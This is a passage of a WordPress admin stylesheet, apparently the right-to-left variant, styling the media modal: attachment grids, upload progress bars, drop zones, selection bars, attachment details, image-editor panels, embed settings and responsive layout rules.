	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
}

.wp-core-ui .attachment .filename div {
	padding: 5px 10px;
}

.wp-core-ui .attachment .thumbnail img {
	position: absolute;
}

.wp-core-ui .attachment-close {
	display: block;
	position: absolute;
	top: 5px;
	left: 5px;
	height: 22px;
	width: 22px;
	padding: 0;
	background-color: #fff;
	background-position: -96px 4px;
	border-radius: 3px;
	box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.3);
	transition: none;
}

.wp-core-ui .attachment-close:hover,
.wp-core-ui .attachment-close:focus {
	background-position: -36px 4px;
}

.wp-core-ui .attachment .check {
	display: none;
	height: 24px;
	width: 24px;
	padding: 0;
	border: 0;
	position: absolute;
	z-index: 10;
	top: 0;
	left: 0;
	outline: none;
	background: #f0f0f1;
	cursor: pointer;
	box-shadow: 0 0 0 1px #fff, 0 0 0 2px rgba(0, 0, 0, 0.15);
}

.wp-core-ui .attachment .check .media-modal-icon {
	display: block;
	background-position: -1px 0;
	height: 15px;
	width: 15px;
	margin: 5px;
}

.wp-core-ui .attachment .check:hover .media-modal-icon {
	background-position: -40px 0;
}

.wp-core-ui .attachment.selected .check {
	display: block;
}

.wp-core-ui .attachment.details .check,
.wp-core-ui .attachment.selected .check:focus,
.wp-core-ui .media-frame.mode-grid .attachment.selected .check {
	background-color: #2271b1;
	box-shadow:
		0 0 0 1px #fff,
		0 0 0 2px #2271b1;
}

.wp-core-ui .attachment.selected .check:focus {
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui .attachment.details .check .media-modal-icon,
.wp-core-ui .media-frame.mode-grid .attachment.selected .check .media-modal-icon {
	background-position: -21px 0;
}

.wp-core-ui .attachment.details .check:hover .media-modal-icon,
.wp-core-ui .attachment.selected .check:focus .media-modal-icon,
.wp-core-ui .media-frame.mode-grid .attachment.selected .check:hover .media-modal-icon {
	background-position: -60px 0;
}

.wp-core-ui .media-frame .attachment .describe {
	position: relative;
	display: block;
	width: 100%;
	margin: 0;
	padding: 0 8px;
	font-size: 12px;
	border-radius: 0;
}

/**
 * Attachments Browser
 */
.media-frame .attachments-browser {
	position: relative;
	width: 100%;
	height: 100%;
	overflow: hidden;
}

.attachments-browser .media-toolbar {
	left: 300px;
	height: 72px;
	background: #fff;
}

.attachments-browser.hide-sidebar .media-toolbar {
	left: 0;
}

.attachments-browser .media-toolbar-primary > .media-button,
.attachments-browser .media-toolbar-primary > .media-button-group,
.attachments-browser .media-toolbar-secondary > .media-button,
.attachments-browser .media-toolbar-secondary > .media-button-group {
	margin: 10px 0;
}

.attachments-browser .attachments {
	padding: 2px 8px 8px;
}

.attachments-browser:not(.has-load-more) .attachments,
.attachments-browser.has-load-more .attachments-wrapper,
.attachments-browser .uploader-inline {
	position: absolute;
	top: 72px;
	right: 0;
	left: 300px;
	bottom: 0;
	overflow: auto;
	outline: none;
}

.attachments-browser .uploader-inline.hidden {
	display: none;
}

.attachments-browser .media-toolbar-primary {
	max-width: 33%;
}

.mode-grid .attachments-browser .media-toolbar-primary {
	display: flex;
	align-items: center;
	column-gap: .5rem;
	margin: 11px 0;
}

.mode-grid .attachments-browser .media-toolbar-mode-select .media-toolbar-primary {
	display: none;
}

.attachments-browser .media-toolbar-secondary {
	max-width: 66%;
}

.uploader-inline .close {
	background-color: transparent;
	border: 0;
	cursor: pointer;
	height: 48px;
	outline: none;
	padding: 0;
	position: absolute;
	left: 2px;
	text-align: center;
	top: 2px;
	width: 48px;
	z-index: 1;
}

.uploader-inline .close:before {
	font: normal 30px/1 dashicons !important;
	color: #50575e;
	display: inline-block;
	content: "\f335";
	font-weight: 300;
	margin-top: 1px;
}

.uploader-inline .close:focus {
	outline: 1px solid #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.attachments-browser.hide-sidebar .attachments,
.attachments-browser.hide-sidebar .uploader-inline {
	left: 0;
	margin-left: 0;
}

.attachments-browser .instructions {
	display: inline-block;
	margin-top: 16px;
	line-height: 1.38461538;
	font-size: 13px;
	color: #646970;
}

.attachments-browser .no-media {
	padding: 2em 2em 0 0;
}

.more-loaded .attachment:not(.found-media) {
	background: #dcdcde;
}

.load-more-wrapper {
	clear: both;
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	justify-content: center;
	padding: 1em 0;
}

.load-more-wrapper .load-more-count {
	min-width: 100%;
	margin: 0 0 1em;
	text-align: center;
}

.load-more-wrapper .load-more {
	margin: 0;
}

/* Needs high specificity. */
.media-frame .load-more-wrapper .load-more + .spinner {
	float: none;
	margin: 0 10px 0 -30px;
}

/* Reset spinner margin when the button is hidden to avoid horizontal scrollbar. */
.media-frame .load-more-wrapper .load-more.hidden + .spinner {
	margin: 0;
}

/* Force a new row within the flex container. */
.load-more-wrapper::after {
	content: "";
	min-width: 100%;
	order: 1;
}

.load-more-wrapper .load-more-jump {
	margin: 0 12px 0 0;
}

.attachment.new-media {
	outline: 2px dotted #c3c4c7;
}

/**
 * Progress Bar
 */
.media-progress-bar {
	position: relative;
	height: 10px;
	width: 70%;
	margin: 10px auto;
	border-radius: 10px;
	background: #dcdcde;
	background: rgba(0, 0, 0, 0.1);
}

.media-progress-bar div {
	height: 10px;
	min-width: 20px;
	width: 0;
	background: #2271b1;
	border-radius: 10px;
	transition: width 300ms;
}

.media-uploader-status .media-progress-bar {
	display: none;
	width: 100%;
}

.uploading.media-uploader-status .media-progress-bar {
	display: block;
}

.attachment-preview .media-progress-bar {
	position: absolute;
	top: 50%;
	right: 15%;
	width: 70%;
	margin: -5px 0 0;
}

.media-uploader-status {
	position: relative;
	margin: 0 auto;
	padding-bottom: 10px;
	max-width: 400px;
}

.uploader-inline .media-uploader-status h2 {
	display: none;
}

.media-uploader-status .upload-details {
	display: none;
	font-size: 12px;
	color: #646970;
}

.uploading.media-uploader-status .upload-details {
	display: block;
}

.media-uploader-status .upload-detail-separator {
	padding: 0 4px;
}

.media-uploader-status .upload-count {
	color: #3c434a;
}

.media-uploader-status .upload-dismiss-errors,
.media-uploader-status .upload-errors {
	display: none;
}

.errors.media-uploader-status .upload-dismiss-errors,
.errors.media-uploader-status .upload-errors {
	display: block;
}

.media-uploader-status .upload-dismiss-errors {
	transition: none;
	text-decoration: none;
}

.upload-errors .upload-error {
	padding: 12px;
	margin-bottom: 12px;
	background: #fff;
	border-right: 4px solid #d63638;
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
}

.uploader-inline .upload-errors .upload-error {
	padding: 12px 30px;
	background-color: #fcf0f1;
	box-shadow: none;
}

.upload-errors .upload-error-filename {
	font-weight: 600;
}

.upload-errors .upload-error-message {
	display: block;
	padding-top: 8px;
	word-wrap: break-word;
}

/**
 * Window and Editor uploaders used to display "drop zones"
 */
.uploader-window,
.wp-editor-wrap .uploader-editor {
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	text-align: center;
	display: none;
}

.uploader-window {
	position: fixed;
	z-index: 250000;
	opacity: 0; /* Only the inline uploader is animated with JS, the editor one isn't */
	transition: opacity 250ms;
}

.wp-editor-wrap .uploader-editor {
	position: absolute;
	z-index: 99998; /* under the toolbar */
	background: rgba(140, 143, 148, 0.9);
}

.uploader-window,
.wp-editor-wrap .uploader-editor.droppable {
	background: rgba(10, 75, 120, 0.9);
}

.uploader-window-content,
.wp-editor-wrap .uploader-editor-content {
	position: absolute;
	top: 10px;
	right: 10px;
	left: 10px;
	bottom: 10px;
	border: 1px dashed #fff;
}

/* uploader drop-zone title */
.uploader-window h1, /* Back-compat for pre-5.3 */
.uploader-window .uploader-editor-title,
.wp-editor-wrap .uploader-editor .uploader-editor-title {
	position: absolute;
	top: 50%;
	right: 0;
	left: 0;
	transform: translateY(-50%);
	font-size: 3em;
	line-height: 1.3;
	font-weight: 600;
	color: #fff;
	margin: 0;
	padding: 0 10px;
}

.wp-editor-wrap .uploader-editor .uploader-editor-title {
	display: none;
}

.wp-editor-wrap .uploader-editor.droppable .uploader-editor-title {
	display: block;
}

.uploader-window .media-progress-bar {
	margin-top: 20px;
	max-width: 300px;
	background: transparent;
	border-color: #fff;
	display: none;
}

.uploader-window .media-progress-bar div {
	background: #fff;
}

.uploading .uploader-window .media-progress-bar {
	display: block;
}

.media-frame .uploader-inline {
	margin-bottom: 20px;
	padding: 0;
	text-align: center;
}

.uploader-inline-content {
	position: absolute;
	top: 30%;
	right: 0;
	left: 0;
}

.uploader-inline-content .upload-ui {
	margin: 2em 0;
}

.uploader-inline-content .post-upload-ui {
	margin-bottom: 2em;
}

.uploader-inline .has-upload-message .upload-ui {
	margin: 0 0 4em;
}

.uploader-inline h2 {
	font-size: 20px;
	line-height: 1.4;
	font-weight: 400;
	margin: 0;
}

.uploader-inline .has-upload-message .upload-instructions {
	font-size: 14px;
	color: #3c434a;
	font-weight: 400;
}

.uploader-inline .drop-instructions {
	display: none;
}

.supports-drag-drop .uploader-inline .drop-instructions {
	display: block;
}

.uploader-inline p {
	margin: 0.5em 0;
}

.uploader-inline .media-progress-bar {
	display: none;
}

.uploading.uploader-inline .media-progress-bar {
	display: block;
}

.uploader-inline .browser {
	display: inline-block !important;
}

/**
 * Selection
 */
.media-selection {
	position: absolute;
	top: 0;
	right: 0;
	left: 350px;
	height: 60px;
	padding: 0 16px 0 0;
	overflow: hidden;
	white-space: nowrap;
}

.media-selection .selection-info {
	display: inline-block;
	font-size: 12px;
	height: 60px;
	margin-left: 10px;
	vertical-align: top;
}

.media-selection.empty,
.media-selection.editing {
	display: none;
}

.media-selection.one .edit-selection {
	display: none;
}

.media-selection .count {
	display: block;
	padding-top: 12px;
	font-size: 14px;
	line-height: 1.42857142;
	font-weight: 600;
}

.media-selection .button-link {
	float: right;
	padding: 1px 8px;
	margin: 1px -8px 1px 8px;
	line-height: 1.4;
	border-left: 1px solid #dcdcde;
	color: #2271b1;
	text-decoration: none;
}

.media-selection .button-link:hover,
.media-selection .button-link:focus {
	color: #135e96;
}

.media-selection .button-link:last-child {
	border-left: 0;
	margin-left: 0;
}

.selection-info .clear-selection {
	color: #d63638;
}

.selection-info .clear-selection:hover,
.selection-info .clear-selection:focus {
	color: #d63638;
}

.media-selection .selection-view {
	display: inline-block;
	vertical-align: top;
}

.media-selection .attachments {
	display: inline-block;
	height: 48px;
	margin: 6px;
	padding: 0;
	overflow: hidden;
	vertical-align: top;
}

.media-selection .attachment {
	width: 40px;
	padding: 0;
	margin: 4px;
}

.media-selection .attachment .thumbnail {
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
}

.media-selection .attachment .icon {
	width: 50%;
}

.media-selection .attachment-preview {
	box-shadow: none;
	background: none;
}

.wp-core-ui .media-selection .attachment:focus,
.wp-core-ui .media-selection .selected.attachment:focus,
.wp-core-ui .media-selection .attachment.details:focus {
	box-shadow:
		0 0 0 1px #fff,
		0 0 2px 3px #4f94d4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui .media-selection .selected.attachment {
	box-shadow: none;
}

.wp-core-ui .media-selection .attachment.details {
	box-shadow:
		0 0 0 1px #fff,
		0 0 0 3px #2271b1;
}

.media-selection:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	width: 25px;
	background-image: linear-gradient(to right,#fff,rgba(255, 255, 255, 0));
}

.media-selection .attachment .filename {
	display: none;
}

/**
 * Spinner
 */
.media-frame .spinner {
	background: url(../images/spinner.gif) no-repeat;
	background-size: 20px 20px;
	float: left;
	display: inline-block;
	visibility: hidden;
	opacity: 0.7;
	filter: alpha(opacity=70);
	width: 20px;
	height: 20px;
	margin: 0;
	vertical-align: middle;
}

.media-frame .media-sidebar .settings-save-status .spinner {
	position: absolute;
	left: 0;
	top: 0;
}

.media-frame.mode-grid .spinner {
	margin: 0;
	float: none;
	vertical-align: middle;
}

.media-modal .media-toolbar .spinner {
	float: none;
	vertical-align: bottom;
	margin: 0 5px 5px 0;
}

.media-frame .instructions + .spinner.is-active {
	vertical-align: middle;
}

.media-frame .spinner.is-active {
	visibility: visible;
}

/**
 * Attachment Details
 */
.attachment-details {
	position: relative;
	overflow: auto;
}

.attachment-details .settings-save-status {
	text-align: left;
	text-transform: none;
	font-weight: 400;
}

.attachment-details .settings-save-status .spinner {
	float: none;
	margin-right: 5px;
}

.attachment-details .settings-save-status .saved {
	display: none;
}

.attachment-details.save-waiting .settings-save-status .spinner {
	visibility: visible;
}

.attachment-details.save-complete .settings-save-status .saved {
	display: inline-block;
}

.attachment-info {
	overflow: hidden;
	min-height: 60px;
	margin-bottom: 16px;
	line-height: 1.5;
	color: #646970;
	border-bottom: 1px solid #dcdcde;
	padding-bottom: 11px;
}

.attachment-info .wp-media-wrapper {
	margin-bottom: 8px;
}

.attachment-info .wp-media-wrapper.wp-audio {
	margin-top: 13px;
}

.attachment-info .filename {
	font-weight: 600;
	color: #3c434a;
	word-wrap: break-word;
}

.attachment-info .thumbnail {
	position: relative;
	float: right;
	max-width: 120px;
	max-height: 120px;
	margin-top: 5px;
	margin-left: 10px;
	margin-bottom: 5px;
}

.uploading .attachment-info .thumbnail {
	width: 120px;
	height: 80px;
	box-shadow: inset 0 0 15px rgba(0, 0, 0, 0.1);
}

.uploading .attachment-info .media-progress-bar {
	margin-top: 35px;
}

.attachment-info .thumbnail-image:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
	overflow: hidden;
}

.attachment-info .thumbnail img {
	display: block;
	max-width: 120px;
	max-height: 120px;
	margin: 0 auto;
}

.attachment-info .details {
	float: right;
	font-size: 12px;
	max-width: 100%;
}

.attachment-info .edit-attachment,
.attachment-info .delete-attachment,
.attachment-info .trash-attachment,
.attachment-info .untrash-attachment {
	display: block;
	text-decoration: none;
	white-space: nowrap;
}

.attachment-details.needs-refresh .attachment-info .edit-attachment {
	display: none;
}

.attachment-info .edit-attachment {
	display: block;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment {
	display: inline;
	padding: 0;
	color: #d63638;
}

.media-modal .delete-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:hover,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:hover,
.media-modal .untrash-attachment:focus {
	color: #d63638;
}

/**
 * Attachment Display Settings
 */
.attachment-display-settings {
	width: 100%;
	float: right;
	overflow: hidden;
}

.collection-settings {
	overflow: hidden;
}

.collection-settings .setting input[type="checkbox"] {
	float: right;
	margin-left: 8px;
}

.collection-settings .setting span, /* Back-compat for pre-5.3 */
.collection-settings .setting .name {
	min-width: inherit;
}

/**
 * Image Editor
 */
.media-modal .imgedit-wrap {
	position: static;
}

.media-modal .imgedit-wrap .imgedit-panel-content {
	padding: 16px 16px 0;
	overflow: visible;
}

/*
 * Implementation of bottom padding in overflow content differs across browsers.
 * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129
 */
.media-modal .imgedit-wrap .imgedit-save-target {
	margin: 8px 0 24px;
}

.media-modal .imgedit-group {
	background: none;
	border: none;
	box-shadow: none;
	margin: 0;
	padding: 0;
	position: relative; /* RTL fix, #WP29352 */
}

.media-modal .imgedit-group.imgedit-panel-active {
	margin-bottom: 16px;
	padding-bottom: 16px;
}

.media-modal .imgedit-group-top {
	margin: 0;
}

.media-modal .imgedit-group-top h2,
.media-modal .imgedit-group-top h2 .button-link {
	display: inline-block;
	text-transform: uppercase;
	font-size: 12px;
	color: #646970;
	margin: 0;
	margin-top: 3px;
}

.media-modal .imgedit-group-top h2 a,
.media-modal .imgedit-group-top h2 .button-link {
	text-decoration: none;
	color: #646970;
}

/* higher specificity than media.css */
.wp-core-ui.media-modal .image-editor .imgedit-help-toggle,
.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:hover,
.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:active {
	border: 1px solid transparent;
	margin: 0;
	padding: 0;
	background: transparent;
	color: #2271b1;
	font-size: 20px;
	line-height: 1;
	cursor: pointer;
	box-sizing: content-box;
	box-shadow: none;
}

.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:focus {
	color: #2271b1;
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui.media-modal .imgedit-group-top .dashicons-arrow-down.imgedit-help-toggle {
	margin-top: -3px;
}

.wp-core-ui.media-modal .image-editor h3 .imgedit-help-toggle {
	margin-top: -2px;
}

.media-modal .imgedit-help-toggled span.dashicons:before {
	content: "\f142";
}

.media-modal .imgedit-thumbnail-preview {
	margin: 10px 0 0 8px;
}

.imgedit-thumbnail-preview-caption {
	display: block;
}

.media-modal .imgedit-wrap div.updated, /* Back-compat for pre-5.5 */
.media-modal .imgedit-wrap .notice {
	margin: 0 16px;
}

/**
 * Embed from URL and Image Details
 */
.embed-url {
	display: block;
	position: relative;
	padding: 16px;
	margin: 0;
	z-index: 250;
	background: #fff;
	font-size: 18px;
}

.media-frame .embed-url input {
	font-size: 18px;
	line-height: 1.22222222; /* 22px */
	padding: 12px 14px 12px 40px; /* right padding to leave room for the spinner */
	width: 100%;
	min-width: 200px;
	box-shadow: inset -2px 2px 4px -2px rgba(0, 0, 0, 0.1);
}

.media-frame .embed-url input::-ms-clear {
	display: none; /* the "x" in IE 11 conflicts with the spinner */
}

.media-frame .embed-url .spinner {
	position: absolute;
	top: 32px;
	left: 26px;
}

.media-frame .embed-loading .embed-url .spinner {
	visibility: visible;
}

.embed-link-settings,
.embed-media-settings {
	position: absolute;
	top: 82px;
	right: 0;
	left: 0;
	bottom: 0;
	padding: 0 16px;
	overflow: auto;
}

.media-embed .embed-link-settings .link-text {
	margin-top: 0;
}

/*
 * Implementation of bottom padding in overflow content differs across browsers.
 * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129
 */
.embed-link-settings::after,
.embed-media-settings::after {
	content: "";
	display: flex;
	clear: both;
	height: 24px;
}

.media-embed .embed-link-settings {
	/* avoid Firefox to give focus to the embed preview container parent */
	overflow: visible;
}

.embed-preview img,
.embed-preview iframe,
.embed-preview embed,
.mejs-container video {
	max-width: 100%;
	vertical-align: middle;
}

.embed-preview a {
	display: inline-block;
}

.embed-preview img {
	display: block;
	height: auto;
}

.mejs-container:focus {
	outline: 1px solid #2271b1;
	box-shadow: 0 0 0 2px #2271b1;
}

.image-details .media-modal {
	right: 140px;
	left: 140px;
}

.image-details .media-frame-title,
.image-details .media-frame-content,
.image-details .media-frame-router {
	right: 0;
}

.image-details .embed-media-settings {
	top: 0;
	overflow: visible;
	padding: 0;
}

.image-details .embed-media-settings::after {
	content: none;
}

.image-details .embed-media-settings,
.image-details .embed-media-settings div {
	box-sizing: border-box;
}

.image-details .column-settings {
	background: #f6f7f7;
	border-left: 1px solid #dcdcde;
	min-height: 100%;
	width: 55%;
	position: absolute;
	top: 0;
	right: 0;
}

.image-details .column-settings h2 {
	margin: 20px;
	padding-top: 20px;
	border-top: 1px solid #dcdcde;
	color: #1d2327;
}

.image-details .column-image {
	width: 45%;
	position: absolute;
	right: 55%;
	top: 0;
}

.image-details .image {
	margin: 20px;
}

.image-details .image img {
	max-width: 100%;
	max-height: 500px;
}

.image-details .advanced-toggle {
	padding: 0;
	color: #646970;
	text-transform: uppercase;
	text-decoration: none;
}

.image-details .advanced-toggle:hover,
.image-details .advanced-toggle:active {
	color: #646970;
}

.image-details .advanced-toggle:after {
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	content: "\f140";
	display: inline-block;
	margin-top: -2px;
}

.image-details .advanced-visible .advanced-toggle:after {
	content: "\f142";
}

.image-details .custom-size label, /* Back-compat for pre-5.3 */
.image-details .custom-size .custom-size-setting {
	display: block;
	float: right;
}

.image-details .custom-size .custom-size-setting label {
	float: none;
}

.image-details .custom-size input {
	width: 5em;
}

.image-details .custom-size .sep {
	float: right;
	margin: 26px 6px 0;
}

.image-details .custom-size .description {
	margin-right: 0;
}

.media-embed .thumbnail {
	max-width: 100%;
	max-height: 200px;
	position: relative;
	float: right;
}

.media-embed .thumbnail img {
	max-height: 200px;
	display: block;
}

.media-embed .thumbnail:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1);
	overflow: hidden;
}

.media-embed .setting,
.media-embed .setting-group {
	width: 100%;
	margin: 10px 0;
	float: right;
	display: block;
	clear: both;
}

.media-embed .setting-group .setting:not(.checkbox-setting) {
	margin: 0;
}

.media-embed .setting.has-description {
	margin-bottom: 5px;
}

.media-embed .description {
	clear: both;
	font-style: normal;
}

.media-embed .content-track + .description {
	line-height: 1.4;
	/* The !important needs to override a high specificity selector from wp-medialement.css */
	max-width: none !important;
}

.media-embed .remove-track {
	margin-bottom: 10px;
}

.image-details .embed-media-settings .setting,
.image-details .embed-media-settings .setting-group {
	float: none;
	width: auto;
}

.image-details .actions {
	margin: 10px 0;
}

.image-details .hidden {
	display: none;
}

.media-embed .setting input[type="text"],
.media-embed .setting textarea,
.media-embed fieldset {
	display: block;
	width: 100%;
	max-width: 400px;
}

.image-details .embed-media-settings .setting input[type="text"],
.image-details .embed-media-settings .setting textarea {
	max-width: inherit;
	width: 70%;
}

.image-details .embed-media-settings .setting input.link-to-custom,
.image-details .embed-media-settings .link-target,
.image-details .embed-media-settings .custom-size,
.image-details .embed-media-settings .setting-group,
.image-details .description {
	margin-right: 27%;
	width: 70%;
}

.image-details .description {
	font-style: normal;
	margin-top: 0;
}

.image-details .embed-media-settings .link-target {
	margin-top: 16px;
}

.image-details .checkbox-label,
.audio-details .checkbox-label,
.video-details .checkbox-label {
	vertical-align: baseline;
}

.media-embed .setting input.hidden,
.media-embed .setting textarea.hidden {
	display: none;
}

.media-embed .setting span, /* Back-compat for pre-5.3 */
.media-embed .setting .name,
.media-embed .setting-group .name {
	display: inline-block;
	font-size: 13px;
	line-height: 1.84615384;
	color: #646970;
}

.media-embed .setting span {
	display: block; /* Back-compat for pre-5.3 */
	width: 200px; /* Back-compat for pre-5.3 */
}

.image-details .embed-media-settings .setting span, /* Back-compat for pre-5.3 */
.image-details .embed-media-settings .setting .name {
	float: right;
	width: 25%;
	text-align: left;
	margin: 8px 1% 0;
	line-height: 1.1;
}

/* Buttons group in IE 11. */
.media-frame .setting-group .button-group,
.image-details .embed-media-settings .setting .button-group {
	width: auto;
}

.media-embed-sidebar {
	position: absolute;
	top: 0;
	right: 440px;
}

.advanced-section,
.link-settings {
	margin-top: 10px;
}

/**
 * Button groups fix: can be removed together with the Back-compat for pre-5.3
 */
 .media-frame .setting .button-group {
	 display: flex;
	 margin: 0 !important;
	 max-width: none !important;
 }

/**
 * Localization
 */
.rtl .media-modal,
.rtl .media-frame,
.rtl .media-frame .search,
.rtl .media-frame input[type="text"],
.rtl .media-frame input[type="password"],
.rtl .media-frame input[type="number"],
.rtl .media-frame input[type="search"],
.rtl .media-frame input[type="email"],
.rtl .media-frame input[type="url"],
.rtl .media-frame input[type="tel"],
.rtl .media-frame textarea,
.rtl .media-frame select {
	font-family: Tahoma, sans-serif;
}

:lang(he-il) .rtl .media-modal,
:lang(he-il) .rtl .media-frame,
:lang(he-il) .rtl .media-frame .search,
:lang(he-il) .rtl .media-frame input[type="text"],
:lang(he-il) .rtl .media-frame input[type="password"],
:lang(he-il) .rtl .media-frame input[type="number"],
:lang(he-il) .rtl .media-frame input[type="search"],
:lang(he-il) .rtl .media-frame input[type="email"],
:lang(he-il) .rtl .media-frame input[type="url"],
:lang(he-il) .rtl .media-frame textarea,
:lang(he-il) .rtl .media-frame select {
	font-family: Arial, sans-serif;
}

/**
 * Responsive layout
 */
@media only screen and (max-width: 900px) {
	.media-modal .media-frame-title {
		height: 40px;
	}

	.media-modal .media-frame-title h1 {
		line-height: 2.22222222;
		font-size: 18px;
	}

	.media-modal-close {
		width: 42px;
		height: 42px;
	}

	/* Drop-down menu */
	.media-frame .media-frame-title {
		position: static;
		padding: 0 44px;
		text-align: center;
	}

	.media-frame:not(.hide-menu) .media-frame-router,
	.media-frame:not(.hide-menu) .media-frame-content,
	.media-frame:not(.hide-menu) .media-frame-toolbar {
		right: 0;
	}

	.media-frame:not(.hide-menu) .media-frame-router {
		/* 40 title + (40 - 6) menu toggle button + 6 spacing */
		top: 80px;
	}

	.media-frame:not(.hide-menu) .media-frame-content {
		/* 80 + room for the tabs */
		top: 114px;
	}

	.media-frame.hide-router .media-frame-content {
		top: 80px;
	}

	.media-frame:not(.hide-menu) .media-frame-menu {
		position: static;
		width: 0;
	}

	.media-frame:not(.hide-menu) .media-menu {
		display: none;
		width: auto;
		max-width: 80%;
		overflow: auto;
		z-index: 2000;
		top: 75px;
		right: 50%;
		transform: translateX(50%);
		left: auto;
		bottom: auto;
		padding: 5px 0;
		border: 1px solid #c3c4c7;
	}

	.media-frame:not(.hide-menu) .media-menu.visible {
		display: block;
	}

	.media-frame:not(.hide-menu) .media-menu > a {
		padding: 12px 16px;
		font-size: 16px;
	}

	.media-frame:not(.hide-menu) .media-menu .separator {
		margin: 5px 10px;
	}

	/* Visually hide the menu heading keeping it available to assistive technologies. */
	.media-frame-menu-heading {
		clip-path: inset(50%);
		height: 1px;
		overflow: hidden;
		padding: 0;
		width: 1px;
		border: 0;
		margin: -1px;
		word-wrap: normal !important;
	}

	/* Reveal the menu toggle button. */
	.wp-core-ui .media-frame:not(.hide-menu) .button.media-frame-menu-toggle {
		display: inline-flex;
		align-items: center;
		position: absolute;
		right: 50%;
		transform: translateX(50%);
		margin: -6px 0 0;
		padding: 0 12px 0 2px;
		font-size: 0.875rem;
		font-weight: 600;
		text-decoration: none;
		background: transparent;
		/* Only for IE11 to vertically align text within the inline-flex button */
		height: 0.1%;
		/* Modern browsers */
		min-height: 40px;
	}

	.wp-core-ui .button.media-frame-menu-toggle:hover,
	.wp-core-ui .button.media-frame-menu-toggle:active {
		background: transparent;
		transform: none;
	}

	.wp-core-ui .button.media-frame-menu-toggle:focus {
		/* Only visible in Windows High Contrast mode */
		outline: 1px solid transparent;
	}
	/* End drop-down menu */

	.media-sidebar {
		width: 230px;
	}

	.options-general-php .crop-content.site-icon,
	.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon {
		margin-left: 262px;
	}

	.attachments-browser .attachments,
	.attachments-browser .uploader-inline,
	.attachments-browser .media-toolbar,
	.attachments-browser .attachments-wrapper,
	.attachments-browser.has-load-more .attachments-wrapper {
		left: 262px;
	}

	.attachments-browser .media-toolbar {
		height: 82px;
	}

	.attachments-browser .attachments,
	.attachments-browser .uploader-inline,
	.media-frame-content .attachments-browser .attachments-wrapper {
		top: 82px;
	}

	.media-sidebar .setting,
	.attachment-details .setting {
		margin: 6px 0;
	}

	.media-sidebar .setting input,
	.media-sidebar .setting textarea,
	.media-sidebar .setting .name,
	.attachment-details .setting input,
	.attachment-details .setting textarea,
	.attachment-details .setting .name,
	.compat-item label span {
		float: none;
		display: inline-block;
	}

	.media-sidebar .setting span, /* Back-compat for pre-5.3 */
	.attachment-details .setting span, /* Back-compat for pre-5.3 */
	.media-sidebar .checkbox-label-inline {
		float: none;
	}

	.media-sidebar .setting .select-label-inline {
		display: inline;
	}

	.media-sidebar .setting .name,
	.media-sidebar .checkbox-label-inline,
	.attachment-details .setting .name,
	.compat-item label span {
		text-align: inherit;
		min-height: 16px;
		margin: 0;
		padding: 8px 2px 2px;
	}

	/* Needs high specificity. */
	.media-sidebar .setting .copy-to-clipboard-container,
	.attachment-details .attachment-info .copy-to-clipboard-container {
		margin-right: 0;
		padding-top: 0;
	}

	.media-sidebar .setting .copy-attachment-url,
	.attachment-details .attachment-info .copy-attachment-url {
		margin: 0 1px;
	}

	.media-sidebar .setting .value,
	.attachment-details .setting .value {
		float: none;
		width: auto;
	}

	.media-sidebar .setting input[type="text"],
	.media-sidebar .setting input[type="password"],
	.media-sidebar .setting input[type="email"],
	.media-sidebar .setting input[type="number"],
	.media-sidebar .setting input[type="search"],
	.media-sidebar .setting input[type="tel"],
	.media-sidebar .setting input[type="url"],
	.media-sidebar .setting textarea,
	.media-sidebar .setting select,
	.attachment-details .setting input[type="text"],
	.attachment-details .setting input[type="password"],
	.attachment-details .setting input[type="email"],
	.attachment-details .setting input[type="number"],
	.attachment-details .setting input[type="search"],
	.attachment-details .setting input[type="tel"],
	.attachment-details .setting input[type="url"],
	.attachment-details .setting textarea,
	.attachment-details .setting select,
	.attachment-details .setting + .description {
		float: none;
		width: 98%;
		max-width: none;
		height: auto;
	}

	.media-frame .media-toolbar input[type="search"] {
		line-height: 2.25; /* 36px */
	}

	.media-sidebar .setting select.columns,
	.attachment-details .setting select.columns {
		width: auto;
	}

	.media-frame input,
	.media-frame textarea,
	.media-frame .search {
		padding: 3px 6px;
	}

	.wp-admin .media-frame select {
		min-height: 40px;
		font-size: 16px;
		line-height: 1.625;
		padding: 5px 8px 5px 24px;
	}

	.image-details .column-image {
		width: 30%;
		right: 70%;
	}

	.image-details .column-settings {
		width: 70%;
	}

	.image-details .media-modal {
		right: 30px;
		left: 30px;
	}

	.image-details .embed-media-settings .setting,
	.image-details .embed-media-settings .setting-group {
		margin: 20px;
	}

	.image-details .embed-media-settings .setting span, /* Back-compat for pre-5.3 */
	.image-details .embed-media-settings .setting .name {
		float: none;
		text-align: right;
		width: 100%;
		margin-bottom: 4px;
		margin-right: 0;
	}

	.media-modal .legend-inline {
		position: static;
		transform: none;
		margin-right: 0;
		margin-bottom: 6px;
	}

	.image-details .embed-media-settings .setting-group .setting {
